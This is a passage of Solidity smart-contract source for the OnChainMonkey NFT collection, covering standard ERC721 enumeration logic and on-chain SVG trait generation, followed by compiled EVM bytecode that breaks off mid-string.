_owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // Bring on the OnChain Monkeys! contract OnChainMonkey is ERC721Enumerable, ReentrancyGuard, Ownable { using Strings for uint256; uint256 public constant maxSupply = 10000; uint256 public numClaimed = 0; string[] private background = ["656","dda","e92","1eb","663","9de","367","ccc"]; // only trait that is uniform, no need for rarity weights string[] private fur1 = ["653","532","444","a71","ffc","ca9","f89","777","049","901","fc5","ffe","574","bcc","d04","222","889","7f9","fd1"]; string[] private fur2 = ["532","653","653","653","653","653","653","653","653","653","110","653","711","344","799","555","8a8","32f","653"]; uint8[] private fur_w =[249, 246, 223, 141, 116, 114, 93, 90, 89, 86, 74, 72, 55, 48, 39, 32, 28, 14, 8]; string[] private eyes = ["abe","0a0","653","888","be7","abe","0a0","653","888","be7","cef","abe","0a0","653","888","be7","cef","abe","0a0","653","888","be7","cef"]; uint8[] private eyes_w = [245, 121, 107, 101, 79, 78, 70, 68, 62, 58, 56, 51, 50, 48, 44, 38, 35, 33, 31, 22, 15, 10, 7]; string[] private mouth = ["653","ffc","f89","777","049","901","bcc","d04","fd1","ffc","653","f89","777","049","bcc","901","901","bcc","653","d04","ffc","f89","777","049","fd1","f89","777","bcc","d04","049","ffc","901","fd1"]; uint8[] private mouth_w = [252, 172, 80, 79, 56, 49, 37, 33, 31, 30, 28, 27, 26, 23, 22, 18, 15, 14, 13, 12, 11, 10, 10, 10, 9, 8, 7, 7, 6, 5, 5, 4, 3]; string[] private earring = ["999","fe7","999","999","fe7","bdd"]; uint8[] private earring_w = [251, 32, 29, 17, 16, 8, 5]; string[] private clothes1 = ["f00","f00","222","f00","f00","f00","f00","f00","f00","00f","00f","00f","00f","00f","00f","00f","222","00f","f0f","222","f0f","f0f","f0f","f0f","f0f","f0f","f0f","f80","f80","f80","f80","f80","f00","f80","f80","f80","90f","90f","00f","90f","90f","90f","222"]; string[] private clothes2 = ["d00","00f","f00","f0f","f80","90f","f48","0f0","ff0","f00","00d","f0f","f80","90f","f48","0f0","ddd","ff0","f00","653","00f","d0d","f80","90f","f48","0f0","ff0","f00","f0f","00f","d60","f48","ddd","90f","0f0","ff0","f00","00f","fd1","f0f","f80","70d","fd1"]; uint8[] private clothes_w = [251, 55, 45, 43, 38, 37, 34, 33, 32, 31, 31, 31, 31, 31, 30, 30, 29, 29, 28, 27, 27, 27, 26, 25, 24, 22, 21, 20, 19, 19, 19, 19, 19, 19, 18, 17, 16, 15, 14, 13, 11, 9, 8, 6]; string[] private hat1 = ["f00","f00","f00","f00","f00","f00","f00","00f","00f","00f","00f","00f","00f","00f","f00","f0f","f0f","f0f","f0f","f0f","f0f","f0f","f80","f80","f80","f80","f80","f80","f00","f80","90f","f48","22d","90f","90f","ff0",""]; string[] private hat2 = ["0f0","00f","f80","ff0","90f","f0f","f48","f00","0f0","00f","f80","ff0","90f","f0f","000","f00","0f0","00f","f80","ff0","90f","f0f","f00","0f0","00f","f80","ff0","90f","f00","f0f","f00","000","000","0f0","00f","f48",""]; uint8[] private hat_w = [251, 64, 47, 42, 39, 38, 36, 35, 34, 34, 33, 29, 28, 26, 26, 25, 25, 25, 22, 21, 20, 20, 18, 17, 17, 15, 14, 14, 13, 13, 12, 12, 12, 10, 9, 8, 7]; string[] private z = ['<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 500 500"><rect x="0" y="0" width="500" height="500" style="fill:#', '"/><rect width="300" height="120" x="99" y="400" style="fill:#', '"/><circle cx="190" cy="470" r="5" style="fill:#', '"/><circle cx="310" cy="470" r="5" style="fill:#', '"/><circle cx="100" cy="250" r="50" style="fill:#', '"/><circle cx="100" cy="250" r="20" style="fill:#', '"/><circle cx="400" cy="250" r="50" style="fill:#', '"/><circle cx="400" cy="250" r="20" style="fill:#', '"/><circle cx="250" cy="250" r="150" style="fill:#', '"/><circle cx="250" cy="250" r="120" style="fill:#', '"/><circle cx="200" cy="215" r="35" style="fill:#fff"/><circle cx="305" cy="222" r="31" style="fill:#fff"/><circle cx="200" cy="220" r="20" style="fill:#', '"/><circle cx="300" cy="220" r="20" style="fill:#', '"/><circle cx="200" cy="220" r="7" style="fill:#000"/><circle cx="300" cy="220" r="7" style="fill:#000"/>', '<ellipse cx="250" cy="315" rx="84" ry="34" style="fill:#', '"/><rect x="195" y="330" width="110" height="3" style="fill:#000"/><circle cx="268" cy="295" r="5" style="fill:#000"/><circle cx="232" cy="295" r="5" style="fill:#000"/>', '</svg>']; string private cross='<rect x="95" y="275" width="10" height="40" style="fill:#872"/><rect x="85" y="285" width="30" height="10" style="fill:#872"/>'; string private clo1='<rect width="300" height="120" x="99" y="400" style="fill:#'; string private clo2='"/><rect width="50" height="55" x="280" y="430" style="fill:#'; string private hh1='<rect width="200" height="99" x="150" y="40" style="fill:#'; string private hh2='"/><rect width="200" height="33" x="150" y="106" style="fill:#'; string private sl1='<rect x="150" y="190" width="200" height="30" style="fill:#'; string private sl2='"/><rect x="160" y="170" width="180" height="50" style="fill:#'; string private mou='<line x1="287" y1="331" x2="320" y2="366" style="stroke:#000;stroke-width:5"/>'; string private ey1='<rect x="160" y="190" width="75" height="15" style="fill:#'; string private ey2='"/><rect x="275" y="190" width="65" height="15" style="fill:#'; string private ey3='<rect x="160" y="235" width="180" height="50" style="fill:#'; string private zz='"/>'; string private ea1='<circle cx="100" cy="290" r="14" style="fill:#'; string private ea2='fe7'; string private ea3='999'; string private ea4='"/><circle cx="100" cy="290" r="4" style="fill:#000"/>'; string private ea5='<circle cx="100" cy="290" r="12" style="fill:#'; string private ea6='bdd'; string private mo1='<line x1="'; string private mo2='" y1="307" x2="'; string private mo3='" y2="312" style="stroke:#000;stroke-width:2"/>'; string private mo4='" y1="317" x2="'; string private mo5='" y2="322" style="stroke:#000;stroke-width:2"/>'; string private tr1='", "attributes": [{"trait_type": "Background","value": "'; string private tr2='"},{"trait_type": "Fur","value": "'; string private tr3='"},{"trait_type": "Earring","value": "'; string private tr4='"},{"trait_type": "Hat","value": "'; string private tr5='"},{"trait_type": "Eyes","value": "'; string private tr6='"},{"trait_type": "Clothes","value": "'; string private tr7='"},{"trait_type": "Mouth","value": "'; string private tr8='"}],"image": "data:image/svg+xml;base64,'; string private ra1='A'; string private ra2='C'; string private ra3='D'; string private ra4='E'; string private ra5='F'; string private ra6='G'; string private co1=', '; string private rl1='{"name": "OnChain Monkey #'; string private rl3='"}'; string private rl4='data:application/json;base64,'; struct Ape { // a nod to BAYC, "ape" was shorter to type than monkey uint8 bg; uint8 fur; uint8 eyes; uint8 mouth; uint8 earring; uint8 clothes; uint8 hat; } // this was used to create the distributon of 10,000 and tested for uniqueness for the given parameters of this collection function random(string memory input) internal pure returns (uint256) { return uint256(keccak256(abi.encodePacked(input))); } function usew(uint8[] memory w,uint256 i) internal pure returns (uint8) { uint8 ind=0; uint256 j=uint256(w[0]); while (j<=i) { ind++; j+=uint256(w[ind]); } return ind; } function randomOne(uint256 tokenId) internal view returns (Ape memory) { tokenId=12839-tokenId; // avoid dupes Ape memory ape; ape.bg = uint8(random(string(abi.encodePacked(ra1,tokenId.toString()))) % 8); ape.fur = usew(fur_w,random(string(abi.encodePacked(clo1,tokenId.toString())))%1817); ape.eyes = usew(eyes_w,random(string(abi.encodePacked(ra2,tokenId.toString())))%1429); ape.mouth = usew(mouth_w,random(string(abi.encodePacked(ra3,tokenId.toString())))%1112); ape.earring = usew(earring_w,random(string(abi.encodePacked(ra4,tokenId.toString())))%358); ape.clothes = usew(clothes_w,random(string(abi.encodePacked(ra5,tokenId.toString())))%1329); ape.hat = usew(hat_w,random(string(abi.encodePacked(ra6,tokenId.toString())))%1111); if (tokenId==7403) { ape.hat++; // perturb dupe } return ape; } // get string attributes of properties, used in tokenURI call function getTraits(Ape memory ape) internal view returns (string memory) { string memory o=string(abi.encodePacked(tr1,uint256(ape.bg).toString(),tr2,uint256(ape.fur).toString(),tr3,uint256(ape.earring).toString())); return string(abi.encodePacked(o,tr4,uint256(ape.hat).toString(),tr5,uint256(ape.eyes).toString(),tr6,uint256(ape.clothes).toString(),tr7,uint256(ape.mouth).toString(),tr8)); } // return comma separated traits in order: hat, fur, clothes, eyes, earring, mouth, background function getAttributes(uint256 tokenId) public view returns (string memory) { Ape memory ape = randomOne(tokenId); string memory o=string(abi.encodePacked(uint256(ape.hat).toString(),co1,uint256(ape.fur).toString(),co1,uint256(ape.clothes).toString(),co1)); return string(abi.encodePacked(o,uint256(ape.eyes).toString(),co1,uint256(ape.earring).toString(),co1,uint256(ape.mouth).toString(),co1,uint256(ape.bg).toString())); } function genEye(string memory a,string memory b,uint8 h) internal view returns (string memory) { string memory out = ''; if (h>4) { out = string(abi.encodePacked(sl1,a,sl2,a,zz)); } if (h>10) { out = string(abi.encodePacked(out,ey1,b,ey2,b,zz)); } if (h>16) { out = string(abi.encodePacked(out,ey3,a,zz)); } return out; } function genMouth(uint8 h) internal view returns (string memory) { string memory out = ''; uint i; if ((h>24) || ((h>8) && (h<16))) { for (i=0;i<7;i++) { out = string(abi.encodePacked(out,mo1,(175+i*25).toString(),mo2,(175+i*25).toString(),mo3)); } for (i=0;i<6;i++) { out = string(abi.encodePacked(out,mo1,(187+i*25).toString(),mo4,(187+i*25).toString(),mo5)); } } if (h>15) { out = string(abi.encodePacked(out,mou)); } return out; } function genEarring(uint8 h) internal view returns (string memory) { if (h==0) { return ''; } if (h<3) { if (h>1) { return string(abi.encodePacked(ea1,ea2,ea4)); } return string(abi.encodePacked(ea1,ea3,ea4)); } if (h>3) { if (h>5) { return string(abi.encodePacked(ea5,ea6,zz)); } if (h>4) { return string(abi.encodePacked(ea5,ea2,zz)); } return string(abi.encodePacked(ea5,ea3,zz)); } return cross; } function genSVG(Ape memory ape) internal view returns (string memory) { string memory a=fur1[ape.fur]; string memory b=fur2[ape.fur]; string memory hatst=''; string memory clost=''; if (ape.clothes>0) { clost=string(abi.encodePacked(clo1,clothes1[ape.clothes-1],clo2,clothes2[ape.clothes-1],zz)); } if (ape.hat>0) { hatst=string(abi.encodePacked(hh1,hat1[ape.hat-1],hh2,hat2[ape.hat-1],zz)); } string memory output = string(abi.encodePacked(z[0],background[ape.bg],z[1],b,z[2])); output = string(abi.encodePacked(output,a,z[3],a,z[4],b,z[5],a,z[6])); output = string(abi.encodePacked(output,b,z[7],a,z[8],b,z[9],a,z[10])); output = string(abi.encodePacked(output,eyes[ape.eyes],z[11],eyes[ape.eyes],z[12],genEye(a,b,ape.eyes),z[13],mouth[ape.mouth],z[14])); return string(abi.encodePacked(output,genMouth(ape.mouth),genEarring(ape.earring),hatst,clost,z[15])); } function tokenURI(uint256 tokenId) override public view returns (string memory) { Ape memory ape = randomOne(tokenId); return string(abi.encodePacked(rl4,Base64.encode(bytes(string(abi.encodePacked(rl1,tokenId.toString(),getTraits(ape),Base64.encode(bytes(genSVG(ape))),rl3)))))); } function claim() public nonReentrant { require(numClaimed >= 0 && numClaimed < 9500, "invalid claim"); _safeMint(_msgSender(), numClaimed + 1); numClaimed += 1; } function ownerClaim(uint256 tokenId) public nonReentrant onlyOwner { require(tokenId > 9500 && tokenId < 10001, "invalid claim"); _safeMint(owner(), tokenId); } constructor() ERC721("OnChainMonkey", "OCMONK") Ownable() {} }
0x608060405234801561001057600080fd5b50600436106101585760003560e01c80636352211e116100c3578063a22cb4651161007c578063a22cb465146103c7578063b88d4fde146103e3578063c87b56dd146103ff578063d5abeb011461042f578063e985e9c51461044d578063f2fde38b1461047d57610158565b80636352211e1461030357806370a0823114610333578063715018a6146103635780638da5cb5b1461036d57806395d89b411461038b5780639c2f2a42146103a957610158565b80632f745c59116101155780632f745c591461023157806342842e0e14610261578063434f48c41461027d5780634378a6e3146102995780634e71d92d146102c95780634f6ccce7146102d357610158565b806301ffc9a71461015d57806306fdde031461018d578063081812fc146101ab578063095ea7b3146101db57806318160ddd146101f757806323b872dd14610215575b600080fd5b6101776004803603810190610172919061390f565b610499565b60405161018491906142e3565b60405180910390f35b610195610513565b6040516101a291906142fe565b60405180910390f35b6101c560048036038101906101c09190613969565b6105a5565b6040516101d2919061427c565b60405180910390f35b6101f560048036038101906101f091906138cf565b61062a565b005b6101ff610742565b60405161020c9190614580565b60405180910390f35b61022f600480360381019061022a91906137b9565b61074f565b005b61024b600480360381019061024691906138cf565b6107af565b6040516102589190614580565b60405180910390f35b61027b600480360381019061027691906137b9565b610854565b005b61029760048036038101906102929190613969565b610874565b005b6102b360048036038101906102ae9190613969565b6109ab565b6040516102c091906142fe565b60405180910390f35b6102d1610a8e565b005b6102ed60048036038101906102e89190613969565b610b74565b6040516102fa9190614580565b60405180910390f35b61031d60048036038101906103189190613969565b610be5565b60405161032a919061427c565b60405180910390f35b61034d6004803603810190610348919061374c565b610c97565b60405161035a9190614580565b60405180910390f35b61036b610d4f565b005b610375610dd7565b604051610382919061427c565b60405180910390f35b610393610e01565b6040516103a091906142fe565b60405180910390f35b6103b1610e93565b6040516103be9190614580565b60405180910390f35b6103e160048036038101906103dc919061388f565b610e99565b005b6103fd60048036038101906103f8919061380c565b61101a565b005b61041960048036038101906104149190613969565b61107c565b60405161042691906142fe565b60405180910390f35b610437611107565b6040516104449190614580565b60405180910390f35b61046760048036038101906104629190613779565b61110d565b60405161047491906142e3565b60405180910390f35b6104976004803603810190610492919061374c565b6111a1565b005b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061050c575061050b82611299565b5b9050919050565b60606000805461052290614855565b80601f016020809104026020016040519081016040528092919081815260200182805461054e90614855565b801561059b5780601f106105705761010080835404028352916020019161059b565b820191906000526020600020905b81548152906001019060200180831161057e57829003601f168201915b5050505050905090565b60006105b08261137b565b6105ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e690614480565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061063582610be5565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156106a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069d906144e0565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166106c56113e7565b73ffffffffffffffffffffffffffffffffffffffff1614806106f457506106f3816106ee6113e7565b61110d565b5b610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a90614400565b60405180910390fd5b61073d83836113ef565b505050565b6000600880549050905090565b61076061075a6113e7565b826114a8565b61079f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079690614500565b60405180910390fd5b6107aa838383611586565b505050565b60006107ba83610c97565b82106107fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f290614320565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b61086f8383836040518060200160405280600081525061101a565b505050565b6002600a5414156108ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b190614560565b60405180910390fd5b6002600a819055506108ca6113e7565b73ffffffffffffffffffffffffffffffffffffffff166108e8610dd7565b73ffffffffffffffffffffffffffffffffffffffff161461093e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610935906144a0565b60405180910390fd5b61251c81118015610950575061271181105b61098f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098690614540565b60405180910390fd5b6109a061099a610dd7565b826117e2565b6001600a8190555050565b606060006109b883611800565b905060006109cc8260c0015160ff16611d80565b60436109de846020015160ff16611d80565b60436109f08660a0015160ff16611d80565b6043604051602001610a0796959493929190613f40565b604051602081830303815290604052905080610a29836040015160ff16611d80565b6043610a3b856080015160ff16611d80565b6043610a4d876060015160ff16611d80565b6043610a5f896000015160ff16611d80565b604051602001610a76989796959493929190613ded565b60405160208183030381529060405292505050919050565b6002600a541415610ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acb90614560565b60405180910390fd5b6002600a819055506000600c5410158015610af2575061251c600c54105b610b31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2890614540565b60405180910390fd5b610b50610b3c6113e7565b6001600c54610b4b9190614649565b6117e2565b6001600c6000828254610b639190614649565b925050819055506001600a81905550565b6000610b7e610742565b8210610bbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb690614520565b60405180910390fd5b60088281548110610bd357610bd2614a18565b5b90600052602060002001549050919050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8590614440565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cff90614420565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d576113e7565b73ffffffffffffffffffffffffffffffffffffffff16610d75610dd7565b73ffffffffffffffffffffffffffffffffffffffff1614610dcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc2906144a0565b60405180910390fd5b610dd56000611ee1565b565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060018054610e1090614855565b80601f0160208091040260200160405190810160405280929190818152602001828054610e3c90614855565b8015610e895780601f10610e5e57610100808354040283529160200191610e89565b820191906000526020600020905b815481529060010190602001808311610e6c57829003601f168201915b5050505050905090565b600c5481565b610ea16113e7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f06906143c0565b60405180910390fd5b8060056000610f1c6113e7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16610fc96113e7565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161100e91906142e3565b60405180910390a35050565b61102b6110256113e7565b836114a8565b61106a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106190614500565b60405180910390fd5b61107684848484611fa7565b50505050565b6060600061108983611800565b905060466110df604461109b86611d80565b6110a485612003565b6110b56110b0876120de565b612736565b60456040516020016110cb9594939291906140c7565b604051602081830303815290604052612736565b6040516020016110f09291906140a3565b604051602081830303815290604052915050919050565b61271081565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6111a96113e7565b73ffffffffffffffffffffffffffffffffffffffff166111c7610dd7565b73ffffffffffffffffffffffffffffffffffffffff161461121d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611214906144a0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561128d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128490614360565b60405180910390fd5b61129681611ee1565b50565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061136457507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806113745750611373826128ce565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff1661146283610be5565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006114b38261137b565b6114f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e9906143e0565b60405180910390fd5b60006114fd83610be5565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061156c57508373ffffffffffffffffffffffffffffffffffffffff16611554846105a5565b73ffffffffffffffffffffffffffffffffffffffff16145b8061157d575061157c818561110d565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff166115a682610be5565b73ffffffffffffffffffffffffffffffffffffffff16146115fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f3906144c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561166c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611663906143a0565b60405180910390fd5b611677838383612938565b6116826000826113ef565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546116d2919061472a565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117299190614649565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6117fc828260405180602001604052806000815250612a4c565b5050565b611808613621565b81613227611816919061472a565b9150611820613621565b6008611855603d61183086611d8056